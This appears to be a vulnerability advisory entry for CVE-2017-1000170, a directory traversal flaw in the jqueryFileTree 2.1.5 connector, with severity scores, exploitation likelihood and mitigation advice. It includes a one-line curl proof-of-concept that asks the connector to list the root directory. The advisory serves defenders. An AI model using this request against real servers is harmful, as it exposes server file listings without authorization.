CVE-2017-1000170
jqueryFileTree vulnerable to Directory Traversal
7.5
HIGH
CVSS 3.1
EPSS 90.0%
Description
jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal ### POC: ```bash curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/" ```
How to fix CVE-2017-1000170
No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.
- npm/jqueryfiletree—no fix listed
Is CVE-2017-1000170 being exploited?
Likely — EPSS is 90.0%, placing CVE-2017-1000170 in the top tier of vulnerabilities by exploitation probability. Prioritise patching.
Affected packages (1)
- from 0, <= 2.1.5
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |